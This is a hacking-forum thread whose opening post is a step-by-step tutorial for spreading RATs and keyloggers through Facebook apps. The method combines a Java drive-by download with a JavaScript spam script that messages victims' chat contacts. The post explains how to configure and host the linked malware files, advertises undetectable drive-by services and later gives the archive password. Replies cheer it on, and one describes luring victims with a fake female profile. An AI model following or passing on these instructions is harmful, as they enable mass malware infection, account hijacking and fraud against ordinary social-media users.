Thread: [\[TUT\] Facebook Spreading Method + Java Drive-BY \[Part-2\] \[with SPAM Js\]](#)

arunbluez - June 8, 2011, 4:56 pm

This is the Second Part of My previous Tutorial About Spreading your RAT,KeyLogger etc Using Facebook APPS. If you have not read the PART-1 of the TuT, Please Read it Before reading this TUT

here is the Link to Part-1: <http://adf.ly/1jv1M>

Things I Missed out in the Part-1 TUT:

1. It is not necessary to have a Paid Webhosting as i had mentioned. You can use a free Webhosting like # etc, But make sure you get a free Domain from .TK and use the .Tk url at all the places.

2. Just use any one of the Three Buttons. Dont use all the three. ?

3. Please dont PM me asking for Password to the RAR, if your UBER or LEET its an exception.

Things I have ADDED or Covered in PART-2:

1. I have Edited the Index.html to add the Facebook Malware Script (Javascript Spammer)

2. Modded the Javascript File to match the needs in this TuT.

3. Now the Spreading has Grown Exponentially as You get victims from not only the like posts but also the Spam posts from the Script.

Okay, Now lets Jump directly to the Tutorial. ?

Files to Download:

Each Rar file contains 4 files, a jar file, a index.html file, a Javascript file and a Jpg file.

The Java DriveBy is from Sin's Java Drive-By v2 = All credits to Sinlord

The Javascript Malware script is from the Thread by HaX0r^

The images, javascript and Index.html files are edited by Me.

1. Love Button:

[img]<http://wowmastery.org/go/image/lovee.jpg>[/img]

Download: <http://adf.ly/1jvml>

2. Dislike Button:

[img]<http://wowmastery.org/go/image/dislikee.jpg>[/img]

Download: <http://adf.ly/1jvks>

3. Emoticons Button:

[img]<http://wowmastery.org/go/image/emoe.jpg>[/img]

Download: <http://adf.ly/1jvIM>

Password to all the Rar files:

Pass>>base-64>>tripo-5>>(atom-128+atom-128)<<hazz-15<<base-64<<HackFourms.net

Please do not PM asking for Password

Code

Kj6jfkXnhTKTyXXHxQNfkS6SJA2ih5IKihY08H2Kj5apiPJ+tH9fhGk+grAH/CCpyWt+gAsMJnNHm06
el9ipoK6SJA6gtT1HyLZSoB5L5WkTbCCHINT: HackForums.net is a different word and is not in the
Password, Think about it, im sure you can crack it. ?

If you guys are not able to decrypt it, Use this \$harecash Link for All the files: <http://adf.ly/1jvf0>

If you had Followed by PART-1 tutorial, you shud have a working Java Drive-By Facebook App of
any of the three Buttons (Dislike, Love, Emoticons).

Then,

Edit the FBScript.js file:

Open the FBScript.js file in a Text editor, like Notepad. You need to edit the Code at 5 Places. The
places to be edited are marked as "Edit here", Just do a search and edit as mentioned.

Upload the Javascript File:

Upload the FBScript.js file to the same hosting where you hosted the Other files. Note the URL of
the Js file. (note: ending with .js)

Edit Index.html file:

Open the Index.html which you just Downloaded in a text Editor, say notepad. You need to Edit at 3
places.

look for //YOUR_JAVASCRIPT_URL.js , edit it with the URL you got from the previous step. (Note:
dont use http: before the url, if you have url like <http://google.com/fbscript.js> then edit as
//google.com/fbscript.js)

Next look for http://www.YOUR_SITE.com/YOUR_BOT.exe, Edit it with the URI to your BOT
Then look for <!-- YOUR FB LIKE BUTTON - IFRAME CODE BELOW HERE --> and paste the
IFrame Code of your like Button below it.

Save your Index.html file.

Replace Index.html file:

Now Replace the Previous Index.html file which you had uploaded by the PART-1 tutorial with your
recently Edited index.html file in the previous step.

Everything Else remains the Same.

If you DiDnt follow the PART-1 tutorial, and don't have a working Java Drive-By Facebook App
then,

Go to the PART-1 Tutorial here: <http://adf.ly/1jv1M>

Follow the STEPS in the below order:

- 1.Setting up your FB App. <Part-1>
- 2.Create your Like Button. <Part-1>
- 3.Edit the FBScript.js file. <As Above>
- 4.Upload the JS file. <As Above>
- 5.Edit the Index.html. <As Above>
- 6.Uploading your Files <Part-1> Upload all the 4 files. freehosting will work, but change the
domain to .tk
- 7.Editing your App <Part-1>

Testing:

Go to your Application Profile Page and then Click the Go to App Button at the top. Now you should get a Java PoPup, Click Run and the Bot is Downloaded to your Comp. below that you'll find a Javascript code, Copy that, paste it to your URL bar and press enter.

All the friends online in your chat will get the Msg to your App. like below:

[img]http://wowmastery.org/go/image/fb.jpg[/img]

(Note: when you paste the Javascript code into your URL bar and enter, after sometime your fb account will logout and when you log in again facebook will warn you about the malware code you just used, but dont worry, the message has already been spammed)

I worked for like 4 hrs to make this Tutorial, So Please If you Like My Post, Plz Rate & Say Thanks ?

Other Services offered by ME:

- Custom made FUD Javadrive-By Sites (anysite) E.G. <http://avaaz.org.in/test>

- 100% FUD JavaDrive-BY with Redirect option.

If you need any of Above, PM me or Add me in MSN: axis88@live.com

dodgerq7 - June 8, 2011, 11:45 pm

Thanks man ..
sounds great
i'll giv it a try

zenawenliang - June 9, 2011, 12:35 am

I cannot figure out the freakin' pass, and I can't do Sharecash because I am using linux, and I have no cellphone.

stylo_asif - June 9, 2011, 1:36 am

Hmmmm Really Sound Good I Try It Latter So i Feed Back You !

Runaro - June 9, 2011, 1:54 am

Sounds good, I'll try.
Thanks

piqpo - June 9, 2011, 2:09 am

thanks, i will give it a shot

piqpo - June 9, 2011, 2:09 am

thanks, i will give it a shot

arunbluez - June 9, 2011, 5:54 am

Thanks a Lot Guys..!!! I'm glad you guys liked it..!!!

Water Antilope - June 9, 2011, 11:25 am

sweet tut man thanks for making it

SEO Service - June 9, 2011, 8:42 pm

i will try later thxx
for your tutorial

Qua - June 9, 2011, 8:47 pm

Looks good. Good job with this, I will try this in an hour or so.

arunbluez - June 10, 2011, 4:26 am

(Jun 9, 2011 08:47 PM)Crayos Shlong Wrote: [\[CITE\]](#) Looks good. Good job with this, I will try this in an hour or so.

Please Give it a try and Post back your results here...!!! Thankyou ?

Haters Ganna Hate - June 12, 2011, 11:23 am

Amazing tut! Just wanted to let everyone know that if their going to be doing a big project with this (such as I), get a spreader and make sure BOTH your Java driveby and your RAT is FUD because there will be thousands of people downloading it

killerjobs - July 1, 2011, 3:07 am

im just wondering, but does the spam still work? :O

Anonymous.7654 - July 1, 2011, 3:13 am

Looks very nice,thanks for the share.

henok - July 2, 2011, 12:24 pm

thank you men

i am trying it

Networking - July 9, 2011, 3:50 pm

Hey the chat doesn't work for me can someone help me I did everything thing.

Exal - July 10, 2011, 3:45 am

hahhaha, Yes I'm Right, Nice encryption ;)

Sandric - July 12, 2011, 8:09 am

Thank you really much for your effort to write the Tutorial, ill test it out when i manage to remove the error message from facebook when inserting my Java drive by link to "Canvas URL" which is "URL must point to a secure page (i.e., the protocol used is 'https')."

I have already shortened the URL with dot. tk Does anybody have the same problem? Or knows how to solve it

Vouch for this!

Edit 1: Omg, my fault i filled out the "secure canvas URL" box too >.< Now it works thanks for this great tutorial!

Qiraji - July 18, 2011, 1:24 pm

Looks awesome, thanks for sharing this tutorial!

serbianuser - August 17, 2011, 4:53 am

thank you for this tutorial..it is very usefull!!!!

hacphongthan - August 18, 2011, 8:46 am

i like your method to encrypt your password

i have spend 5 minute to decrypt your rar password

it like hell

thanks for your tuts

i will try it

muneeb2468 - August 18, 2011, 9:55 am

i spent 4 hours to decrypt your password but it didn't work can you please pm me the pass. i would really appreciate that and also the method of decryption thank you.

maxdavis - August 18, 2011, 11:12 am

Thanks for the awesome tutorial

~Maxdavis

Ibiza2010 - August 18, 2011, 11:44 am

I cannot figure out the freakin' pass, and I can't do spam because I am using linux, and I have no cellphone.

p???? ? - August 18, 2011, 12:34 pm

thank you for this tutorial
will be used extensively

Thunderwolf999 - August 18, 2011, 1:47 pm

thanks man very helpful gonna do this today

DiaboliC - August 18, 2011, 5:46 pm

thank you for sharring this :)
Great work

Fuckerz - September 14, 2011, 10:27 pm

this java drive doesnt work anymore since facebook has change the way to setting app~

saisrujan - September 29, 2011, 5:19 am

sounds great
but I need password to try it
please send me the password,
thankss

DEVIL X - September 29, 2011, 7:08 am

great tutorial man,
and i really enjoyed decrypting that pass (coz i am n00b)...

aman2012 - September 29, 2011, 9:22 pm

i will try latter thanx for shairing hope is still fud and worked for me...

BigDru - October 17, 2011, 8:52 pm

Haha nice pass. Got it on my first try :P

arunbluez - October 18, 2011, 4:30 am

Glad it helped you Guys..!!! :))

It is the Next Level in decrypting the passwords..!!!

1337B345T3R - November 14, 2011, 1:19 am

Arghh it says I need a https site for it to work. I cant do SSL on my free webhost :(

ghfghf7 - March 19, 2012, 1:40 am

XD this is brilliant thank you for sharing :D definitively will be trying this

CryptShock - March 19, 2012, 1:49 am

Sounds good, I'll try it later!!!
Thanks!!!

morosss - March 19, 2012, 2:12 am

è sicuramente un buon metodo non c'è dubbio io per infettare i le mie vittime su facebook uso un profilo di una ragazza, poi inizio a chattare con la vittima gli invio qualche link con delle foto vere che ho caricato sul dropbox e poi quando hanno piena fiducia gli passo il link del mio rat, vi assicuro che lo apriranno senza nessun dubbio l'importante è perdere almeno 10 minuti per chattare a dare loro fiducia....se qualcuno vuole dei chiarimenti o aiuto o una dimostrazione mi contatti in privato grazie

bernardbear - March 19, 2012, 3:22 am

lol bookmarked ..later will try this old method :D thanks

????DRO3D??? - March 19, 2012, 7:08 am

Can't find where to put the canvas page on the Facebook application, is it only me or Facebook changed something?

CryptShock - March 19, 2012, 8:32 am

I will try later thxx
for your tutorial..

Thnx

night1 - March 25, 2012, 11:43 pm

this sounds real good..thank man,,nn nn,nn

Eeluminati - March 25, 2012, 11:54 pm

Wow, this was really good. Nice job for a normal member. :)

HAMM01 - March 26, 2012, 7:17 am

Well nice tut.. i get many things from this Thanks really....

ex0d3 - March 27, 2012, 7:21 pm

wow thaks for this nice tutorial very helpful

Roy90 - March 27, 2012, 11:54 pm

Sounds good. Thanks for the tut. will try later

Warrior™ - May 24, 2012, 8:04 pm

this tutorial HAS BEEN copy paste and taken it another forum and you want to credit this

SHUT UP

ezeeprofit - July 16, 2012, 2:18 pm

does this still work as fb have had many patches lately

Turkon - July 16, 2012, 2:23 pm

i will try later :) thnx..
Thanks for the tut

alphatwiins - October 3, 2012, 9:40 am

i cant figure the pass:/ . why put pas on stuff like that, when you made a good job..:)

Cohen - October 3, 2012, 9:51 am

Nice tut, seems to work great. Love to see more.

waltsaytrue - August 4, 2013, 6:14 pm

this is really easy to do thanks for the great tutorial

endowed - March 27, 2014, 2:03 pm

(Mar 25, 2012 11:54 PM)Eeluminati Wrote: [\[CITE\]](#) Wow, this was really good. Nice job for a normal member. :)

can you please help me with the password pls

password pls any body pls help me i have been here all night trying to get the password pls help

arunbluez - March 28, 2014, 5:31 pm

To all those people who come across this thread,

I doubt this method still works, coz I am sure fb might have patched it by now. Even though the Fb app may work, the javadriveby would definitely be Detected.

But for all those curious guys who wanna still give it a try, here is the password for the rar "imnotanoob".

Btw I am not into hacking anymore, so I don't have any of these files or resources.

opsafrica - March 29, 2014, 12:55 am

Very nice tutorial will try a bit later!

I got too many slaves so my bandwidth got used up and my webhost kicked me!

But luckily I have a few more that are on better hosting!

Great Tutorial Thanks a lot! I will use this in future!

JustZeus - March 29, 2014, 10:54 am

i will try later thxx

for your tutorial

opsafrica - March 29, 2014, 11:41 am

thanks for this post! I will try it later!
